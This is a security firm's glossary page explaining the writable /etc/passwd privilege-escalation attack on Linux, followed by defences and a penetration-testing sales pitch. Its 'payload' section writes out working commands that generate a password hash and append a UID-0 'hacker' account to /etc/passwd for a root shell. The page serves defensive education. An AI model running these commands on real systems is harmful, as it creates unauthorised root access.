Privilege Escalation · Term

What is the writable /etc/passwd attack?

If /etc/passwd is writable by a non-root user, an attacker can add a brand-new account with root privileges and log in as it. Here is what the attack is, the payload, and why this file’s permissions matter.

Privilege Escalation · TermAll services
TL;DR

The writable /etc/passwd attack is a simple but effective Linux escalation: if a low-privileged user can write to `/etc/passwd`, they can add a new account with UID 0 (root) and a password they know, then switch to it for a root shell. It works because /etc/passwd historically could hold a password hash, and any UID-0 account is root. The file should be root-owned and not world-writable, and finding it otherwise is an immediate critical finding.

By John Dill, Red Team Lead, SecureLayer7Updated

What the attack is

/etc/passwd lists the system’s user accounts: name, UID, home directory, and shell. It is normally readable by everyone but writable only by root.

Any account with UID 0 is root, regardless of its name. So if an attacker can write to /etc/passwd, they can simply add their own UID-0 account. The file can also carry a password hash directly (in the second field, instead of the usual x that points to /etc/shadow), so the attacker sets a password they know.

The payload

The attacker confirms write access, then adds a root account:

  • Check permissions: ls -l /etc/passwd (look for write access for your user or group, or world-writable).
  • Generate a password hash: openssl passwd -1 -salt xyz Password123
  • Append a root user with that hash: echo 'hacker:$1$xyz$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
  • Switch to it: su hacker with the password you set, landing a root shell.

Documented technique shown for defenders.

How to defend

  • Ensure `/etc/passwd` is root-owned and mode 644 (readable by all, writable only by root); the same care applies to /etc/shadow (mode 640 or stricter).
  • Audit for misconfigured permissions on sensitive system files generally.
  • Watch for embedded password hashes in /etc/passwd, which should normally just contain x.
  • Alert on new UID-0 accounts appearing in /etc/passwd.
  • Apply least privilege so a process bug cannot end up writing the file.

References

  1. [1]MITRE ATT&CK: Privilege Escalation (TA0004)(MITRE)
  2. [2]NIST SP 800-115 Technical Guide to Security Testing(NIST)
  3. [3]Linux man-pages: setuid(2)(man7.org)
Related terms

Common questions

Privilege escalation, asked often

Want your systems tested for these paths?

Scope an engagement

Find the privilege-escalation paths before an attacker does.

We run internal and host penetration tests that walk the real route from a low-privileged foothold to root or SYSTEM, then hand your team a report with reproducible evidence and a fix for every step. Free re-test included.

See all services30-min scoping call, fixed-price proposal in 48 hours.